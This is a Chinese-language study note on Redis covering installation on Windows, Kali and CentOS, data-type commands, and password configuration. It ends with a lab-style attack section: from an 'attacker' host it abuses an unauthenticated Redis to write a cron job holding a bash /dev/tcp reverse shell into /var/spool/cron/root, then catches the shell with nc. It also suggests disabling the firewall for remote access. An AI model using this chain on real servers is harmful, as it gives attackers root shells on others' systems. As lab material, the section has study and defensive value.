1.Redis数据库的介绍
(1)nosql系列的数据库之一 (not only sql)
(2)这个世界上的数据库分为关系型数据库和非关系型数据库
(3)redis数据库是非关系型数据库 key-value形式
(4)特点:内存运行,效率极高 而且支持分布式
(5)支持很多语言的api
(6)支持很多系统的
(7)通信模型:c/s通信模式
(8)支持单进程单线程
(9)支持很多数据类型
(10)支持高并发读写 阿里 淘宝都用这种数据库 mysql没办法支持这么大的并发
(11)支持lua脚本 多用于写游戏外挂辅助等
(12)数据持久化 可以把内存中的数据存到硬盘中
(13)支持数据备份
(14)读写速度特别快 每秒11w次读,8w1k次写
(15)redis的所有操作都是原子性的,要么成功要么失败 失败就完全不会去执行 不存在那种部分执行的情况
2.Windows下部署Redis数据库
借助工具phpstudy
redisClient是图形界面 更多是辅助理解 主要还是命令操作
在以下的目录中执行cmd即可对redis数据库进行操作
D:\applications\phpstudy\Extensions\redis3.0.504
bind是绑定自己的ip
timeout是响应的最大超时时间
maxclients是最多支持的访问人数
database是默认的数据库的个数
maxmemory是最大使用的内存
3.命令操作
redis-cli -h 127.0.0.1 //连接数据库
ping //回应pong说明成功
select 0 //选择第0个数据库 相当于点击以下db0
select [数字] //选择哪个数据库
redis-cli -h [远程数据库的地址] -p 6379
quit //退出
PS:如何让别人可以远程连接到自己的redis数据库
1.防火墙开放端口6379或者直接关闭防火墙
2.在redis.windows.conf中进行bind
4.数据库操作
键值对,键不能重复
基本设置值
flushall //清空所有数据
set name1 yingge1 //添加键值对
get name1 //获得数据
set name2 yingge2 EX 5 //设置5s后失效的键值对
setex name2 5 yingge2 //设置5s后失效的键值对
ttl name2 //获得他的生命周期
mset key1 value11 key2 value22 //同时设置多个键值对
mget key1 key2 //同时获得多个键值对
append name1 zj11 //在name1的值后面增加zj11(拼接效果)
键命令
keys [正则表达式]
keys * //取出所有的键
keys ke* //取出所有以ke开头的键
keys name[0-3] //取出name0-3的键
exists name2 //判断name2键是否存在 返回1表示存在 返回2表示不存在
del name3 //删除某一个键
expire name2 5 //设置键几秒过期
hash类型
设置hash类型
hset xiaoming height 180
hset xiaoming weight 60kg
hset xiaoming age 18
hget xiaoming height //获得hash值
hget xiaoming age
hget xiaoming weight
hgetall xiaoming //获得hash下所有的键值对
hmset xiaohong id 3 weight 220kg height 190 //同时设置多个值的hash
hkeys xiaohong //获得hash下所有的key
hlen xiaohong 查看里面有多少个值 判断有多少个key
hvals xiaohong //查看hash下所有的value
hmget xiaohong id weight //提取hash特定的key的值
hdel xiaohong id height //删除hash下特定的键值对
del xiaohong //彻底删除某个hash值
list类型
如果lpush是从下往上累加东西(数据添加在最上层),其他运算就是从上往下进行操作
lpush list1 a1 a2 a3 a4 a5 a6 a7 a8 a9 //从左往右依次插入数据,此时第0个元素a1 在积木的最上层添加数据
rpush list2 a1 a2 a3 a4 a5 a6 a7 a8 a9 //从右往左依次插入数据,此时第0个元素a9 在积木的最下层添加数据
lrange list1 0 3 //从上往下取4个 从第0个开始取到第3个
lrange list1 0 -1 //取出所有内容
lset list1 2 b3 //取出从上往下的第3个并且值修改为b3
lrem [列表] [计数] [值]
如果计数>0,从头到尾搜索值并且删除对应的个数
如果计数<0,从尾到头搜索值并且删除对应的个数
如果计数=0,就删除所有的对应的值
lrem list2 0 a3 //删除所有的a3
lindex list3 [数字] //查看列表中第几个元素
llen list3 //查看列表中有多少个值
set类型
无序集合,元素唯一,不重复,没有修改操作
sadd s1 member1 member2 member3 //新建一个set值
smembers s1 //获取s1里所有值
scard s1 //获取s1里有多少个元素
srem s1 member2 //删除set中的值
sinter s1 s2 //取出交集
sunion s1 s2 //取并集
sdiff s1 s2 //取差集
zset类型
有序集合,元素唯一,不重复,没有修改操作
每个元素关联一个score,也就是权重,从小到大权重排序
zadd zs1 4 xiaoming 5 xiaohong 2 xiaogang //添加元素和对应的权重
zrange zs1 0 -1 //查看元素排序 从小到大往下
zrange zs1 0 1 //查看排名前两个的相应元素
zrangebyscore zs1 4 5 //取权重4-5之间的值
zrem zs1 xiaogang //删除zset中的值
Linux下redis服务器的部署安装(Kali为例)
wget http://download.redis.io/releases/redis-4.0.9.tar.gz
//wget http://download.redis.io/redis-stable.tar.gz
tar zxvf redis-4.0.9.tar.gz
mv ./redis-4.0.9 /usr/local/redis
apt install make
make test
//apt install gcc
//make MALLOC=libc
//apt install tcl
make install
cd /usr/local/bin/
ls
ls -all
mkdir /etc/redis
cp /usr/local/redis/redis.conf /etc/redis/
cd /etc/redis
ls
nano redis.conf
bind 192.168.109.130
port 6379
daemonize yes
pidfile /var/run.redis_6379.pid
dbfilename dump.rdb
ctrl+x保存退出即可
redis-server /etc/redis/redis.conf
ps aux | grep redis
redis-cli -h 192.168.189.130
ping
set name1 haha123
get name1
save
exit
ls
cat dump.rdb
centos安装redis数据库
yum install -y gcc
wget http://download.redis.io/releases/redis-5.0.3.tar.gz #centos默认下载在了/root下 可以pwd查看目录
tar -zxvf redis-5.0.3.tar.gz
cd redis-5.0.3
make
make install PREFIX=/usr/local/redis
前台启动服务:
cd /usr/local/redis/bin/
./redis-server
后台启动服务:
从 redis 的源码目录中复制 redis.conf 到 redis 的安装目录
cp /root/redis-5.0.3/redis.conf /usr/local/redis/bin/
修改 redis.conf 文件,把 daemonize no 改为 daemonize yes
cd /usr/local/redis/bin/
vi redis.conf
#daemonize yes
开始后台启动
./redis-server redis.conf
设置开启启动:
vi /etc/systemd/system/redis.service
复制粘贴如下内容
[Unit]
Description=redis-server
After=network.target
[Service]
Type=forking
ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/bin/redis.conf
PrivateTmp=true
[Install]
WantedBy=multi-user.target
systemctl daemon-reload
systemctl start redis.service
systemctl enable redis.service
创建redis命令软链接
ln -s /usr/local/redis/bin/redis-cli /usr/bin/redis
接下来直接redis就可以进入redis数据库了
服务操作命令:
systemctl start redis.service #启动redis服务
systemctl stop redis.service #停止redis服务
systemctl restart redis.service #重新启动服务
systemctl status redis.service #查看服务当前状态
systemctl enable redis.service #设置开机自启动
systemctl disable redis.service #停止开机自启动
centos下解决redis-cli命令不存在的方法
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
# 将redis-cli拷贝到/usr/local/bin/下,让redis-cli指令可以在任意目录下直接使用
sudo cp src/redis-cli /usr/local/bin/
Redis增加密码的方式:
nano /etc/redis/redis.conf
requirepass haha123
redis-cli -h 192.168.189.130
shutdown
exit
redis-server /etc/redis/redis.conf
redis-cli -h 192.168.189.130
auth haha123 //第一种输入密码登录的方法
第二种直接登录的方法 远程连接的方法
redis-cli -h 192.168.189.130 -a haha123
----------------
---------------
systemctl stop firewalld
2.从黑客攻击机(192.168.109.130)处进行redis连接靶机(192.168.109.134)
bash -i >& /dev/tcp/192.168.109.130/9999 0>&1 本身就是可以直接上线的命令 只不过借助redis写到了计划任务的位置
redis-cli -h 192.168.109.134
keys *
set haha "\n\n* * * * * bash -i >& /dev/tcp/192.168.109.130/9999 0>&1\n\n"
get haha
config set dir /var/spool/cron/
config set dbfilename root
save
nc -nlvp 9999